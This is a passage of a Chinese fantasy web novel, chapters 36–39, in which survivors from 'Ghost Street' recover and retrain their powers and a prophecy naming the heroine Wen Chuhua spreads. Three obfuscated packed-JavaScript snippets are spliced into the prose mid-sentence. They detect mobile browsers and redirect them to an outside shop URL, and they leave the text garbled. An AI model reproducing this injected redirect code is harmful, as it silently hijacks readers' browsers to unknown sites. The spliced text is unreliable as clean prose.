三十来岁,个子不高,瘦,穿着一件灰色的薄夹克,拉链拉到胸口,露出里面白色的圆领衫。脸很干净,没有伤疤,没有络腮胡子,笑起来的时候眼角有好几道鱼尾纹,看着像个好脾气的中学老师。 他的眼睛很亮,黑眼珠很大,看人的时候带着一种自然的、不刻意的专注,好像你说的每一句话他都很认真地听。 “于昇。”他自我介绍,把右手伸出来,掌心朝着他们,没有武器,也没有握拳,“救赎会的。苏游云的朋友。” 36. 邻居的花言巧语 小六手里的铁管放了下来,但没松手。方敏的右手还放在菜刀刀柄上。 于昇把手收回去,插进夹克口袋里,在仓库里走了一圈。他走路的姿势很放松,步子不大,不快不慢,像在自家院子里散步。他走到小六面前,停下来,低头看了看小六手里的铁管,笑了笑。 “这玩意打人可以,打影刃不行。”他说,语气像在跟老朋友聊天,“回头我让人给你弄把好的。” 小六张了张嘴,不知道该说什么。 他盯着于昇的脸看了两秒,在找——找那种居高临下的、你看我像看蚂蚁的表情。没有。于昇看他的眼神,跟看一个普通人没什么两样。不看低,也不看高,就是平视。 于昇走到仓库中央,站在那束从屋顶破洞漏下来的阳光里。阳光打在他肩上,把他的灰色夹克照得发白。他转过身,面对所有人。 “我知道你们在想什么。”他说,声音不大,但在这个空旷的仓库里听得很清楚,“你们在想——救赎会的人来干什么?是不是来利用你们的?是不是来把你们当枪使的?” 他顿了顿,笑了一下,“都不是。我来,是因为苏游云让我来。他说有一群刚从鬼街出来的人,没地方去,没东西吃,没武器防身。他问我能不能帮忙。” 方敏的手指在刀柄上松了一点。“苏游云呢?” “在地下三层,陪着温初花。她还没醒。”于昇说这话的时候,脸上的笑容收了一些,“我能帮你们的不多。吃的、喝的、住的地方、基础的武器,这些我能解决。但更大的事情——”他顿了一下,“等温初花醒了,让她来决定。” 仓库里安静了一会儿。 有人在低声说话,有人在交换眼神,有人把手里的武器放下了。小六把铁管靠在墙上,铁管碰到墙壁发出一声轻响。 林韶华把蜷着的腿放下来,活动了一下发麻的脚踝。 吴季浩从口袋里又摸出一根草棍,叼在嘴里,没点。 方敏从油桶上站起来,走到于昇面前。她比他矮半个头,仰着脸看他,下巴上的蜈蚣在阳光下黑得发亮。 “于先生,”她说,“你跟我们非亲非故,为什么帮我们?” 于昇低下头,看着她。他的眼睛很亮,那种亮不是灯光照出来的,是从里面透出来的,像一口井,井水很清,你能看到井底,但井底有什么你看不清。 “因为苏游云是我朋友。”他说,“他帮过我。在我最难的时候,他拉了我一把。现在他需要我,我就来了。就这么简单。” 方敏盯着他的眼睛看了几秒,然后点了点头。她的右手从菜刀刀柄上拿开了,插进裤兜里。 “行。”她说,“我们信你。” 于昇笑了一下,这次的笑容比刚才大了些,眼角的鱼尾纹更深了。 “别信我,”他说,“信苏游云。他看人的眼光比我准。” 他说完这句话,转身走了。走了两步,又停下来,回头看了一眼。 “对了,仓库后面有个水龙头,是干净的,能洗澡。虽然水是凉的,但总比没有强。”他指了指门口的方向,“明天早上我让人送早饭过来,七点,别睡过头了。” 铁门在他身后关上了,发出沉闷的响声。 仓库里安静了好一会儿。 吴季浩第一个开口,嘴里叼着那根新的草棍,含混不清地说了一句:“这人还挺好的。” 方敏没接话。 她走到仓库后面,找到了那个水龙头,拧开。 水很凉,冲在她完好的那只手上,凉得她缩了一下,但她没有关,就那么冲着,看着水流过手指,流过手背,滴在地上,渗进泥土里。 水是清的,透明的那种清,不是鬼街那种浑的、带着铁锈色的水。 她蹲下来,用左手掬了一捧水,泼在脸上。水是凉的,凉得她打了激灵,但她的嘴角是上扬的。 她笑了。 林韶华靠在墙上,把腿上的纱布重新缠了缠。血已经止住了,纱布上那朵红色的大花没有再变大。她把裤腿放下来,遮住纱布,抬起头看着屋顶那几道破洞。阳光从洞里漏下来,在地上画出一块一块的金色。 “你们说,”她开口了,声音不大,“温姐醒了之后,会怎么安排我们?” 小六把铁管捡起来,放在身边,靠着墙坐下。 “不知道。”他说,“但温姐不会扔下我们不管的。” 吴季浩把草棍从嘴里拿出来,在手指上转了两圈,又叼回去。 “她要是扔下我们,就不会拼了命开那条路了。”他说,“那条路是她拿命开的。不是为了她自己。” 方敏从水龙头那边走回来,用袖子擦了擦脸上的水。伤口被水打湿了,有点疼,但她没管。她走到仓库中央,站在那里,看着散落在各个角落的人。 “都休息吧。”她说,“明天再说。天塌不下来。” 没有人动。 方敏没有再说话。她走到墙角,把菜刀从腰里抽出来,放在身边,靠着墙坐下来。她闭上眼睛,但没有睡着。她在听。听外面的风声,听远处偶尔传来的狗叫,听这间仓库里十几个人此起彼伏的呼吸声。 活着。都活着。 林韶华翻了个身,面朝墙壁,把毯子拉到下巴。毯子是救赎会的人送来的,灰色的,洗得发白,边角磨出了毛边。她把毯子攥在手心里,攥了一会儿,然后慢慢地松开了。眼皮开始发沉,像有人在她眼睛上放了两个沙袋。 吴季浩把草棍从嘴里拿出来,在墙上按灭了。没有火,但草棍上有一个小小的黑点,像是被烫过的痕迹。他把草棍塞回口袋,抱着一根铁管,闭上眼睛。 小六把铁管放在身边,贴着墙,手能摸到的地方。他躺下来,后脑勺枕在胳膊上,盯着天花板。天花板上有好几道裂纹,弯弯曲曲的,像河流。他看着那些裂纹,想起了鬼街天花板上的那道歪歪扭扭的问号——你怎么还活着? 他活着。 他闭上眼睛的时候,嘴角是上扬的。 藤洲岛的夜很长,但天总会亮的。 地下三层的白炽灯还亮着。 温初花靠坐在床上,后背垫着一个枕头,手里端着半杯凉掉的药水,没有喝,就那么端着。搪瓷杯壁上的温度从手心传过来,不冷不热,刚好能感觉到。 她的手指在杯壁上无意识地画着圈,一圈,两圈,三圈,像沈婆婆喝茶时那样。 苏游云坐在对面的木椅上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604685|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里没拿书。 他今天没有看书,两只手交叠放在膝盖上,拇指无意识地互相绕着,眼镜片后面的眼睛看着温初花。 “如果想在藤洲活下去,光躲是不够的。”他的声音不大,但每个字都说得很清楚,像钉子一颗一颗钉进木板里,“你需要力量——不是个人的力量,是‘势力’的力量。” 温初花的手指在杯壁上停了一下。她没有抬头,盯着杯子里那层薄薄的药粉沉淀,白色的,在水底积了薄薄一层,像冬天的霜。 “你一个人能打一百个人,但打不了一千个、一万个。”苏游云靠在椅背上,两只手从膝盖上拿开,垂在身侧,“白洛明手下有多少人?整个□□有多少人?就算你把他们都打趴下了,明天还会有新的人冒出来。你杀不完的。” 温初花把搪瓷杯放在床头桌上,杯底磕在木头台面上,发出一声闷响。 “所以你的意思是,让我也拉起一拨人?”她偏头看着他,“像琴师那样?在藤洲岛上占个地盘,收一帮小弟,跟白洛明对着干?” 苏游云嘴角微微动了一下,不是笑,是一种——像是想笑但忍住了,嘴角的肌肉刚扬起一点就收了回去,只留下一个很淡的弧度在脸上,像风吹过水面留下的波纹,很快就平了。 “不完全是。我的意思是——你需要盟友。不是让你当老大,是让你有一群能背靠背的人。” “像于昇那样的?” 苏游云点了一下头。“于昇是救赎会的人。救赎会的目标跟你的目标有重叠的地方,但不一样。你真正需要的,是你自己的人。从鬼街出来的那些人,他们是跟着你冲出来的。他们信你。不是信你的能力,是信你这个人。” 温初花沉默了一会儿。她把被子往上拉了拉,盖住肩膀。地下三层的空气有些凉,消毒水的味道比昨天淡了一些,不知道是散了还是她的鼻子适应了。 “他们跟我不一样。”她说,“他们是普通人。不,他们不是普通人,他们是异人,但他们不是战士。方敏在鬼街管物资,小六在铁匠铺打杂,林韶华以前是干什么的我都不清楚。让他们跟着我去跟白洛明拼命?那不是帮他们,是害他们。” 苏游云从椅子上微微前倾,胳膊肘撑在膝盖上,两只手垂在膝盖之间。他离她近了一些,近到她能看到他睫毛的弧度,很翘,不像男人的睫毛。 “方敏想留下。”他说,“不是因为你,是因为她自己。她跑累了。她想找个地方站住脚。小六也是。他们不是因为你才想留在藤洲,是因为他们不想再跑了。而你是他们唯一信得过的人。不是因为你最强,是因为你是那个在最难的时候,没有扔下他们的人。” 温初花低下头,看着自己的手。十根手指,指节突出,指甲剪得秃秃的,手指上全是茧子和疤。这双手杀过人,救过人,揍过人,也被人揍过。 这双手在鬼街的拱门前张开过,吞噬过缚灵粒子,打开过那扇关了二十年的门。 “让我想想。”她说。 苏游云重新靠回椅背,从椅子旁边的地上捡起那本书,翻开,找到折角的那一页,压平,继续看。书页上的字密密麻麻的,全是她看不懂的符号。 地下三层的白炽灯还在亮着。 37. 轻松的训练日常 仓库后面的空地,以前是个垃圾场。 地上全是碎石、碎砖和不知道哪年哪月留下的炉灰,踩上去嘎吱嘎吱响。周围用废旧铁皮围了一圈,歪歪扭扭的,风一吹就哐当哐当响,像一堆快散架的骨头。 头顶没有遮挡,天是灰蓝色的,几朵云慢悠悠地飘过去。对于刚从鬼街出来的人来说,能看到天本身就是一件奢侈的事。 方敏站在空地中央,左臂还吊着绷带,右手张开了。她闭着眼睛,眉头微皱,像是在用力憋什么。几秒钟过去了,什么也没发生。 她又憋了一会儿,右手的手指开始微微发抖,还是什么也没发生。她睁开眼睛,低头看着自己空荡荡的手掌,骂了一句。 “他爹的在鬼街待了三年,连火都点不着了。” 吴季浩蹲在旁边的碎砖堆上,嘴里叼着一根新草棍,看着方敏的手,嘴角咧了一下。“方姐,你以前能点多大的火?” “能点着一个人。”方敏说。 吴季浩把草棍从嘴里拿下来,盯着方敏的手看了两秒,又叼回去。“那现在呢?” 方敏没理他。她又闭上眼,这一次不是憋,是——放松。她把肩膀沉下来,呼吸放慢,从腹部深深地吸气,再慢慢地吐出来。 她试着去感受体内那股被关了太久的东西。它在。在胸口最深处,像一颗被埋在灰烬里的炭,表面是黑的,但里面还有红光。她用意识去吹那颗炭,轻轻地吹。火亮了。 一颗小火苗从她的指尖蹿出来,红色的,不大,像打火机打着时那一簇火。但它是在她指尖上跳动的,不是打火机,是她的能力。 方敏睁开眼睛,盯着自己指尖那簇小火苗。火苗在风中摇摇晃晃的,像站不稳的小孩,但它没有灭。 “着了。”她说。 吴季浩从碎砖堆上跳下来,凑过去看。火苗映在他眼睛里,亮亮的,像两颗小星星。“能烧什么?” 方敏把手指对准地上的一团枯草。火苗从指尖跳出去,落在枯草上,枯草燃了。火不大,烧了几秒就灭了。方敏看着那团冒烟的枯草,嘴角慢慢地上扬。那个弧度不大,但很深,像是嘴角的肌肉太久没有做过这个动作了,做起来有些生涩。 “能烧就行。”她说,“慢慢来,以前也是从这么小开始练的。” 林韶华靠在铁皮围挡上,左腿上的伤还没好利索,不敢用力。她把双手伸出来,掌心朝上,十根手指微微张开。 她的能力是冰。 以前,她能把一杯水在几秒内冻成冰块,能把空气中的水分子凝结成冰针,射出去像暗器。但现在,她对着自己的手心吹了半天,什么都没出现。 她又试了一次,还是没有。她把手心翻过来看了看,好像在看是不是掌心里的冰腺被鬼街抽干了。什么都没有。 “别急。”方敏说,“我也是试了好几次才点着的。” 林韶华没说话。她闭上眼睛,不去想“冰”,去想“冷”。她想起鬼街那种冷——不是冬天的冷,是那种从地底下渗出来的、钻进骨头缝里的、怎么都躲不掉的冷。那种冷她感受了三年,每天每夜,无时无刻。她把这股冷从记忆里拽出来,放在掌心里。 手指尖凉了。不是空气的凉,是从她皮肤里渗出来的凉。一层薄薄的白霜出现在她的掌心,像冬天窗户上结的冰花,细细的,密密的,在阳光下闪着光。白霜越来越厚,凝结成一小块冰,指甲盖大小,透明,干净,躺在她的掌心里,像一颗小小的钻石。 林韶华睁开眼睛,看着掌心里那颗冰。她端详了很久,然后嘴角动了。不是笑,是——像一个人在路上走了很久很久,拐过一个弯,忽然看到了熟悉的路标,脸上的表情不是惊喜,是踏实。路还在,她没丢。 “成了。”她说。 小六蹲在空地边缘,面前是一株从碎石缝里长出来的野草,蔫蔫的,叶子发黄,看着快死了。他把双手放在膝盖上,盯着那株野草,像是在跟它对视。 他的能力是植物操控,在藤洲岛上,这个能力用处不大——打人的时候不能指望路边的草帮你挡刀。 但在以前,他能让一颗种子在几秒内发芽、生长、开花,能把藤蔓变成绳索,能把草丛变成陷阱。现在他面对一株快死的野草,试着去感受它的生命。草的能量很弱,弱到几乎感觉不到,但他感觉到了。不是用眼睛看到的,是用意识触碰到的。像你在黑暗中伸出一只手,摸到了一根蛛丝,很细,一碰就断,但它在那里。 小六伸出一根手指,轻轻碰了碰那株草的叶子。 草站直了。 不是被风吹直的,是它自己直起来的。 发黄的叶子从边缘开始变绿,慢慢地、一片一片地,像被人拿画笔涂上了颜色。蔫下去的茎也挺起来了,笔直笔直的,在风中微微摇晃。整个过程不过几秒。 小六盯着那株草,草在风中摇了摇叶子,像是在回应他。 “活了。”他说,声音里有种他自己都没意识到的欢喜。 吴季浩从碎砖堆上跳下来,走到空地中间。 他的能力是土系。 以前的他能让地面裂开一条缝,能把碎石凝聚成拳头大小的石块,投出去像炮弹。 现在他站在空地上,双脚踩在碎石和炉灰上,低头看着脚下。他把右脚抬起来,再踩下去。地面没有反应。他又踩了一下。还是没有。他深吸一口气,把意识沉到脚下,沉到地面以下,去感受那些碎石的重量、质地、形状。 脚下的碎石动了一下。不是被风吹的,是从地面内部鼓起来的,像有什么东西要从下面钻出来。几颗小石子从地面跳起来,在空中弹了一下,落回地面,滚了两圈,停了。吴季浩低头看着那几颗石子,愣了一秒,然后笑了。 他蹲下来,把右手按在地面上,地面在他的掌心下微微震动,像一只被挠了肚皮的猫在咕噜。 “小六,过来。”他说。 “干嘛?” “把你的草种过来。” 小六走过去,把那株已经精神抖擞的野草连根拔起,找了个土多的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610307|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新种下去。他蹲在旁边,手指点着草的叶子,草在他的触碰下越长越高,从巴掌高长到了膝盖高,茎秆粗了,叶子宽了,颜色绿得发亮。 吴季浩把手按在草旁边的地面上。泥土从他的指缝间翻涌出来,像被一只无形的手揉捏着,聚拢在草的根部,堆成一个小小的土丘,把根埋得更深、更稳。草在土丘上晃了晃叶子,像是在点头。 “行了啊你俩。”方敏走过来,右手食指上又跳出了那簇小火苗,红红的,不大,但很精神,“再玩下去,这地方要变花园了。” 小六站起来,拍了拍手上的泥。他的脸红扑扑的,不知道是热的还是兴奋的。“方姐,你的火能烧多大?” 方敏把食指上的火苗吹灭了。“现在就这么大。但过几天就不一定了。” 林韶华从铁皮围挡那边走过来,手里还握着那颗冰。冰在她掌心里没有融化,反而又厚了一层,从指甲盖大小长成了硬币大小,边缘有漂亮的冰花。 “你们说,温姐的能力是什么?”林韶华问。 几个人都安静了一瞬。风吹过铁皮围挡,哐当哐当响。那株草在小六身边摇了摇叶子,绿得发亮。 “不知道。”方敏说,“但她能打开鬼街的门,这本身就已经够厉害了。” 吴季浩把草棍从嘴里拿下来,在手心里转了转。“等她好了,让她给我们露一手。” “她肯定比咱们都强。”小六说。 “那不是废话吗。”方敏笑了一下,笑得很轻,但眼睛里有光。 几个人又各自练了起来。方敏对着空气练点火,火苗从食指跳到中指,从中指跳到无名指,像一只红色的蝴蝶在她的指尖间飞舞,忽大忽小,忽明忽暗,但始终没有灭。 林韶华双手合十,再缓缓拉开,两掌之间拉出一道细细的冰丝,在阳光下闪着光,像蜘蛛丝,透明、坚韧,拉不断。 小六蹲在空地边缘,身边围了一圈野草,都在他手指的触碰下挺直了腰杆,绿得不像话。 吴季浩脚下的碎石被他一块一块地凝聚起来,堆成一个小小的塔,塔不高,歪歪扭扭的,随时要倒,但一直没倒。 太阳从云层后面露出来,照在这块破破烂烂的空地上,照在这些人的脸上、手上、身上。他们的影子投在地上,长短不一,交错在一起,像一棵树的根系,在地下缠绕着,分不清哪条是哪条的。 方敏把火收了,甩了甩手指。“明天继续。”她说。 几个人收拾了一下,往仓库方向走。小六把那株草也带上了,用破布包着根,抱在怀里。 “你带它干嘛?”吴季浩问。 “它陪我。”小六说。 吴季浩看了他一眼,没说话。他把嘴里那根已经蔫了的草棍吐掉,又摸了摸口袋,摸出一根新的,叼在嘴里。嘴角的草棍一翘一翘的,像在笑。 仓库的铁门在他们身后关上了,哐当一声。空地安静下来,只剩下风吹铁皮的声音,和那堆碎石堆成的小塔,在风中摇摇欲坠,但始终没有倒。 38. 能力变得越来越恐怖了 训练室在地下四层。 水泥墙壁,水泥地面,没有窗户,头顶只有一盏灯。墙上画满了白色的线条,弯弯曲曲的,像血管又像河流。苏游云说,这些线条是为了帮助被压制太久的异人重新感知能量流动的方向。 温初花赤着脚站在房间中央,水泥地的凉意从脚底板蹿上来。她闭着眼睛,双手垂在身侧,掌心朝后,十根手指微微张开。 苏游云坐在门口的木椅上,目光落在她的后背上。他的能量感知像一张无形的网,覆盖了整个训练室。他能感觉到温初花体内那团微弱的火——从鬼街带出来的、只剩下几颗火星子的火。 藤洲岛的缚灵粒子几乎为零。岛周围的磁场中和了缚灵粒子的压制效果,在这里训练,她不需要一边吞噬一边被压制,她只需要做一件事——把那团火重新烧旺。 前三天几乎什么都没有发生。 她能感觉到周围有能量——灯管里的电流、空气中的热量、声波的振动——但那些东西像滑溜的鱼,她的意识一伸手,它们就溜走了。 她抓了上百次,抓到的全是空气。每次训练结束她都浑身是汗,不知道是累的还是急的。苏游云坐在门口,什么都不说。她不问,他也不答。训练室里的灯管偶尔会闪一下,不是她吞到了能量,是这破地方电压不稳。 到了第五天,她抓到了一点东西。很小,小到几乎感觉不到——像一丝电流从指尖掠过,麻了一下,然后消失了。她睁开眼睛,低头看着自己的手指。指尖上有一点点白色的光,淡得像快要灭的萤火虫,闪了两下,灭了。 她回头看了一眼头顶的灯,灯管在她刚才抓到电流的那一瞬间暗了一下,很短暂,短暂到她以为是自己的错觉。但苏游云也看到了。 “刚才那是——”她说。 “你吞到了。”苏游云说,“灯管的电流。大概千分之一。” 温初花低头看着自己的手。千分之一。少的可怜,但至少不再是零了。她把那只手握了握拳,又松开,感觉到指尖比刚才热了一点。 “再试一次。”她说。 苏游云没有反对。 第七天,她吞到了更多。 不是电流,是热量。她把训练室里一小块区域的温度抽走了,那一小块空气瞬间变冷,冷到能看见自己呼出的白气。白气在空气中飘了不到一秒就散了,但她看到了。 她站在那团冷空气中间,浑身发抖,不是因为冷,是因为兴奋。她的指尖不再是萤火虫了,是打火机——火苗不大,但稳,不会灭了。 苏游云从椅子上站起来,走到她面前,伸出手,掌心悬在她指尖上方一寸的位置。他的能量感知在探测她体内的变化。 “你的身体在适应。”他说,“以前吞噬能量,你的身体像一块干海绵,吸进去的水全漏了。现在不一样了——你能留住一部分了。” 温初花把指尖的火苗收了,双手握拳,又松开。“我还需要多久才能恢复到以前的水平?” 苏游云把手收回去,插进裤兜里。“不知道。每个人不一样。有的人一个月,有的人一年,有的人永远回不去。” 温初花看了他一眼,没有说话。她把目光从苏游云脸上移开,落在那面画满白色线条的墙上。那些线条在她眼里开始变得有意义了——不是抽象的能量回路图,是地图。是她要走的路。 第十一天。 温初花站在训练室中央,闭着眼睛,这一次她没有去抓电流或者热量,她去抓——所有的一切。 她把意识张到最大,像一张网,罩住了整个训练室。灯管里的电流、空气中的热量、墙壁反射的光线、地面的振动、甚至苏游云身上散发的体温。所有能被她感知到的能量,全部被她攥在了手里。 她吞了。 灯灭了。不是闪了一下,是彻底灭了。整个训练室陷入了绝对的黑暗,伸手不见五指,像被人蒙上了一块黑色的布。 温度开始下降,不是慢慢地凉下来,是猛地往下掉,冷气从四面八方涌过来,像有一扇通往冬天的门被打开了。 然后声音也消失了。灯管的嗡嗡声没了,电流的流动声没了,连空气中微弱的振动都没了。 苏游云的呼吸声听不到了,温初花自己的心跳声也听不到了。 绝对的安静,安静到她觉得自己被塞进了一个真空的罐子里。 她站在那里,浑身上下每个毛孔都在吞噬那些涌进来的能量。太多了一次性太多了,像一条干涸的河突然遇到了洪水,河床在颤抖,堤坝在摇晃,她觉得自己快要被撑破了。 但她没有松手。 她咬着牙,把那些能量往身体最深处压,压到那团火的位置。 火炸了。不是灭了,是炸了。从火星子炸成了火球,从火球炸成了火焰,从火焰炸成了——她不知道该怎么形容——像一颗太阳在她胸口炸开,光和热从她的身体中心向四周喷射,照亮了她的骨骼、血管、肌肉,照亮了她的整个身体轮廓。 苏游云坐在黑暗中,没有动。 他的耳朵听不到任何声音,但他的能量感知比眼睛更亮。在他感知的世界里,温初花不再是一团微弱的火了。 她是一颗小太阳。白光从她的身体里往外涌,把整个训练室照得像白昼。他从来没有在任何一个异人身上感知过这么强的能量波动——不是能量的强度大,是能量的密度大。她把刚才吞进去的所有能量压缩在了自己的身体里,像一个拳头大的核反应堆,功率不大,但温度高得吓人。 他在黑暗中开口了。 “你的能力在进化。以前只能吞噬异能力量,现在……你连环境能量都能吞。” 他的声音居然没有被吞掉。温初花听到了。那几个字从苏游云的嘴唇传到空气中,穿过黑暗,落在她的耳朵里。声波振动,很清晰,没有被吞噬。她的能力本能地区分了“该吞的”和“不该吞的”,而他的声音属于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615254|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后者。她不知道这是为什么,但她记住了这个感觉。 温初花睁开眼睛,什么都看不见,但她能感觉到苏游云的方向。他的体温在她的感知里像一盏灯,虽然温度被她抽走了一部分,但他的轮廓还在她的意识中亮着。 “这意味着什么?”她问。声音在空荡荡的训练室里回响了一下,很快被黑暗吞没了。 苏游云沉默了一瞬。 “意味着,你的能力变得越来越恐怖了。” 黑暗中,温初花没有看到他的表情,但她听出了他语气里的某种东西——不是害怕,不是担忧,是一种谨慎。像一个拆弹专家面对一颗从没见过的炸弹,他知道它有巨大的威力,但他还不确定保险栓在哪。 训练室里的光线开始慢慢恢复了。不是灯重新亮了,是温初花体内的能量开始向外释放。那些被她吞进去的能量被她转化成了另一种形态——异能力量。 白光从她的皮肤表面渗出来,在黑暗中亮得像一盏灯,照亮了她的脸、她的手、她脚下的水泥地面。 她的身体在发光。不是比喻,是真的在发光。白光从她的毛孔里渗出来,在她的皮肤表面形成一层薄薄的光晕,像雨后的湖面,水汽在蒸腾。 她低头看着自己的手,光从她的指缝间漏出来,照亮了水泥地面上那些细小的裂纹和碎石。 几秒钟后,训练室恢复了正常。灯管重新亮起,嗡嗡声重新响起,温度慢慢回升,声音重新填满了空间。一切回到了原来的样子,但温初花不一样了。 她站在那里,浑身上下笼罩着一层淡淡的白色光晕,像刚从水里被捞出来的人,身上还挂着水珠。那些光晕是她的异能力量,从每一个毛孔里渗出来,在空气中缓缓流动、盘旋。 她的指尖不再是打火机了。是一盏灯。白光从她的指缝间漏出来,照亮了苏游云的脸。他的表情在那一瞬间被她看得清清楚楚——不是震惊,不是欣喜,是一种她已经在他脸上见过很多次的表情。他在确认。 像你等了很久的公交车,终于看到它的车灯出现在路的那头,你不知道车上有没有你要坐的那一路,但至少有一辆车来了。 温初花把手收回来,白光从指缝间消失了。 “我现在能打过影刃了吗?”她问。 苏游云看着她。“不能。” 温初花没有被这个答案打击到。她知道不能。一个刚恢复训练十一天的人,不可能打得过一个从未失手的顶级杀手。但她至少知道了一件事——她的能力在进化,进化的方向是对的。 她不需要打败影刃,她只需要在他调用缚灵粒子系统的时候,吞掉那些缚灵粒子。让他没有子弹可用。那他手里的枪,就是一把废铁。 苏游云从椅子上站起来,走到她面前,伸出手,把她的右手翻过来,掌心朝上。他的手指按在她的脉搏上,感受着她体内那团火的热度。 “明天继续。”他说。温初花点了点头。 39. 预言传开 训练室里,温初花把一盏灯的能量吞了个干净。 灯灭了。不是闪了一下,是彻底灭了。她站在黑暗中,掌心朝上,指尖亮着一小团白光,像握着一颗缩小版的月亮。那团光不大,但很稳,不像刚开始那样忽明忽暗、随时要灭。 她把光从右手传到左手,又从左手传回右手,白光在她的十指间跳跃,像一只被驯服的萤火虫。 苏游云坐在门口的椅子上,看着她。 “你今天吞了多少?”他问。 “六盏。”温初花把那团光收了,训练室重新陷入黑暗,然后灯管闪了两下,又亮了。她把掌心翻过来看了看,指尖还残留着一丝余温,“第三盏的时候差点撑不住,缓了一会儿才继续。第四盏开始就顺了。” 苏游云点了点头,没说话。但他的眼睛没有从她身上移开。温初花活动了一下手指,走到墙边,蹲下来,把掌心贴在水 泥地面上。她能感觉到地面以下的能量——不是矿脉,是这栋建筑地基里的热量,微弱但真实。她试着去触碰那些热量,把它们往掌心引。 没有成功。 她站起来,拍了拍手上的灰。“地下的东西还吞不动。” “地下的能量场更复杂,你需要时间。”苏游云说,“你现在能吞掉训练室里的六盏灯,已经很好了。” 温初花转过身,靠在墙上,抱着胳膊看他。嘴角带着一点笑意,不是那种大大咧咧的笑,是那种——她终于觉得自己不那么废物了——的笑。 “苏游云。” “嗯。” “你说我要是把整栋楼的电都吞了,会不会把于昇他们吓死?” 苏游云的嘴角微微动了一下。“于昇不会被吓死。他只会让你赔电费。” 温初花笑了一声。笑声在空荡荡的训练室里来回撞了两下,然后被墙壁吸收了。阳光从头顶那扇巴掌大的气窗漏下来,照在她的肩膀上,把那些被汗水浸湿的痕迹照得发亮。 她刚想再说点什么,训练室的门被人从外面猛地推开了。门板撞在墙上,发出一声巨响,整个房间都震了一下。 进来的是于昇。 他的脸色不对。不是害怕,是一种——你收到了一条消息,消息的内容让你必须在最短的时间内找到某个人,而你已经跑了一路,喘得上气不接下气的那种急。他平时那种好脾气的、笑起来眼角好几道鱼尾纹的样子完全不见了,取而代之的是一种温初花没见过的严肃。他的眉头拧在一起,嘴唇抿成一条线,额头上全是汗。 “预言传开了。”于昇说,声音不大,但每个字都像是从喉咙里挤出来的,带着一股喘不上气的急,“大街小巷,所有人都在说。‘破笼之人已至。其名藏花,其手藏匣。’” 温初花的手指在墙上敲了一下。苏游云从椅子上站了起来。 于昇靠在门框上,胸口剧烈地起伏着,他是一路跑下来的,三层楼梯,一口气没歇。 “二十年前凌歌说‘鬼街将孕破笼之人’,所有人都知道破笼之人会从鬼街出来。现在预言的后半句出来了——‘其名藏花,其手藏匣’。藏花,你的名字。藏匣,你从□□带出来的那个黑匣子。” 于昇的声音在发抖,但他的眼睛在发光,“外面已经疯了。小势力在疯狂找你,大势力在开会讨论怎么办。有人想投奔你,有人想抓你,有人想研究你,有人想杀了你。” 训练室里安静了几秒。 温初花靠在墙上,把匕首从手腕内侧弹出来看了一眼,又收了回去。 “白洛明呢?”她问。 “不知道。但消息肯定已经到他耳朵里了。这个预言一旦公开,他最想隐瞒的事情就藏不住了——他想杀你,不是因为你是叛徒,是因为你就是预言里的那个人。” 于昇深吸了一口气,“接下来他会怎么做,我不知道。但我知道一件事——你的名字,现在全藤洲都知道了。” 温初花沉默了片刻。 这个名字她用了二十六年,从来觉得它普通。路边藏着的花,不显眼,不张扬。但现在,这个名字像一颗被丢进湖里的石头,涟漪正在一圈一圈地往外扩散。 藤洲岛的午后,阳光从云层后面透出来,灰蒙蒙的,照在那些破旧的街道上。 街角的一间茶馆里,几个人围坐在一张缺了角的木桌旁。桌上摆着三碗茶,茶汤浑浊,茶叶梗浮在水面上。茶馆的收音机在放一首老歌,滋啦滋啦的杂音比歌声还大,没有人去调。 一个光头男人把碗里的茶一口闷了,抹了抹嘴,说:“预言你们听说了吗?” “谁没听说?”对面的人接话。四十几岁,瘦,穿着一件洗得发白的工装外套,袖口磨出了毛边。“‘破笼之人已至。其名藏花,其手藏匣。’满大街都在传,想不听都难。” 旁边一个年轻人探过身子,胳膊肘撑在桌上,压低声音说:“藏花……这名字你们有印象吗?以前□□有个女的,叫温初花,后来不知道怎么回事被白洛明追杀,听说逃到鬼街去了。” 光头男人把碗放下,碗底磕在桌上发出一声闷响。“就是她。□□以前在外面的特工,后来被白洛明追杀,一路追进了鬼街。三个月前的事。” “三个月前?”瘦男人皱了皱眉,“那她现在还在鬼街?” “出来了。”年轻人说,声音压得更低了,“有人在港口那边看到了,一帮人从鬼街方向过来,里面有个女的,浑身是光,被一个男人抱着。可能就是她。” 茶馆里安静了一瞬。收音机还在滋啦滋啦地响,老歌唱到了一半,旋律断断续续的。 瘦男人往后靠在椅背上,手指在桌面上无意识地敲了两下。 “她要是真从鬼街出来了,那预言就是真的。破笼之人——”他顿了一下,“能带我们冲出藤洲的笼子。” 